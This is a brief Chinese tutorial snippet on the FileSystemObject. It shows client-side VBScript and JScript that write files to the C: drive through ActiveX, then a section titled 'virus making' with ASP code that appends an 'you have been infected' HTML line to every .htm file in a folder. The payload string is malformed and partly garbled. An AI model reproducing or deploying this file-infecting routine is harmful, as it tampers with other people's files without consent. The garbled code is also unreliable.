FSO在客户端的使用:
将以前的set fso=server.createobject("scripting.filesystemobject")
改成:set fso=createobject("scripting.filesystemobject")
其他的基本相同
<script language=vbscript>
Set fso = CreateObject("Scripting.FileSystemObject")
set file=fso.opentextfile("c:test.txt",8)
set f=file.writeline("我是!")
</script>
<script>
var fso, f1;
fso = new ActiveXObject("scripting.filesystemObject");//区分大小写
f1 = fso.createtextfile("c:33saf3.txt", true);
</script>
病毒制作:
<%
Function create()
set fso=server.createobject("scripting.filesystemobject")
set folder=fso.getfolder("c:testfsocool")
for each f in folder.files
%>
<%t=len(f.name)
t1=instrrev(f.name,".")
t2=mid(f.name,t1,t)%>
<%if t2=".htm" then%>
<%
set file=fso.opentextfile("c:testfsocool"&f.name,8)
file.writeline("<html><body 你已经被感染!')></body></html>")
end if
next
End Function
%>
<%call create()%>